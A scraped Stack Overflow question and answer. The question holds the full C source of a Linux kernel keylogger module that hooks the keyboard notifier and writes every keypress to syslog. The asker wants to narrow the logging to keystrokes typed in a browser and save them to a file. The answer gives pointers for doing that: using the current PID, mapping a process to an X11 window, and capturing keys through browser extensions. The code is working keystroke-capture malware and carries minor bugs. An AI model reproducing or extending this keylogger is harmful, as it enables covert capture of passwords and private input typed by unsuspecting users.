Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Kernel Module to identify whether the keypress was from a browser window

Tags:

linux-kernel

I have a basic key-logger kernel module that logs all the key-presses on to the syslog. I need to log only those key-presses made in a browser. Is there any way to find the process id of the application that caused the interrupt? Also, is there any way to save the keypresses to a file? could anybody help pls.. :)

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>

MODULE_LICENSE("GPL");
#ifdef notifier_block
struct notifier_block {
  int (*notifier_call)(struct notifier_block *, unsigned long, void *);
  struct notifier_block *next;
  int priority;
};
#endif
char call(int v)
{
    char val=NULL;
    if (v == 16) {val='q';}
    else if (v == 17) {val='w';}
    else if (v == 18) {val='e';}
    else if (v == 19) {val='r';}
    else if (v == 20) {val='t';}
    else if (v == 21) {val='y';}
    else if (v == 22) {val='u';}
    else if (v == 23) {val='i';}
    else if (v == 24) {val='o';}
    else if (v == 25) {val='p';}
    else if (v == 30) {val='a';}
    else if (v == 31) {val='s';}
    else if (v == 32) {val='d';}
    else if (v == 33) {val='f';}
    else if (v == 34) {val='g';}
    else if (v == 35) {val='h';}
    else if (v == 36) {val='j';}
    else if (v == 37) {val='k';}
    else if (v == 38) {val='l';}
    else if (v == 44) {val='z';}
    else if (v == 45) {val='x';}
    else if (v == 46) {val='c';}
    else if (v == 47) {val='v';}
    else if (v == 48) {val='b';}
    else if (v == 49) {val='n';}
    else if (v == 50) {val='m';}
    else if (v == 28) {val='\n';}
    else if (v == 57) {val='\t';}
    else if (v == 51) {val=',';}
    else if (v == 78) {val='+';}
    else if (v == 55) {val='*';}
    else if (v == 98) {val='/';}
    else if (v == 13) {val='=';}
    else if (v == 39) {val=';';}
    else if ((v == 11)||(v == 82)) {val='0';}
    else if ((v == 2)||(v == 79)) {val='1';}
    else if ((v == 3)||(v == 80)) {val='2';}
    else if ((v == 4)||(v == 81)) {val='3';}
    else if ((v == 5)||(v == 75)) {val='4';}
    else if ((v == 6)||(v == 76)) {val='5';}
    else if ((v == 7)||(v == 77)) {val='6';}
    else if ((v == 8)||(v == 71)) {val='7';}
    else if ((v == 9)||(v == 72)) {val='8';}
    else if ((v == 10)||(v == 73)) {val='9';}
    else if ((v == 12)||(v == 74)) {val='-';}
    else if ((v == 83)||(v== 52)) {val='.';}


    return val;
}

int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
  struct keyboard_notifier_param *param = _param;//local reference
  struct vc_data *vc = param->vc;
 char val;
 int ret = NOTIFY_OK;
  if (code == KBD_KEYCODE) {
    val=call(param->value);
    if(param->down)
        {   printk(KERN_INFO "KEYLOGGER %c",val); 
            c=val;      
        }
   // printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
  }
return ret;  
}

static struct notifier_block nb = {
  .notifier_call = hello_notify
};
EXPORT_SYMBOL_NOVERS(notifier_block);

static int hello_init(void)
{ 
  register_keyboard_notifier(&nb);
  return 0;
}

static void hello_release(void)
{
  unregister_keyboard_notifier(&nb);
}

module_init(hello_init);
module_exit(hello_release);
like image 610
user3308993 Avatar asked Mar 12 '14 10:03

user3308993


1 Answers

Is there any way to find the process id of the application that caused the interrupt?

current->pid 

after including #include <linux/sched.h>

will tell you the process that was interrupted as per the following Stack Overflow question and Linux Kernel Development Chapter 6 on Interrupt Context.

This assumes you call current->pid from interrupt context in which your notifier should be in, unless you are doing heavy computation in your notifier which shouldn't be done.

If you are in process context or have a preemptive kernel as Andrew Medico comments, and are using the macro to get information on current, it will have been changed by the scheduler if any significant time has passed.

As per the comment by TheCodeArtist the following Stack Overflow answer demonstrates writing to files. It isn't a good idea to do file IO in the kernel, especially from interrupt context.

An example of writing the keypresses to a buffer in memory instead of file is available here.

The following Stack Overflow question demonstrates how to get the process name from the process id.

However all this gets you is the key presses for a process with a given name, it has no way of determining that a process with a name has any association with a browser window.

See the following Stack Overflow question which explains how to get an X11 window from a process id, and the following Stack Overflow question using XGrabKey and Xlib to grab keys in user space.

A more reliable way to ensure that keypress is from a specific browser, not only do this at the userspace level but at the browser plugin or extension level. An example for Chrome is here and example for Firefox is here.

like image 77
Appleman1234 Avatar answered Oct 06 '22 01:10

Appleman1234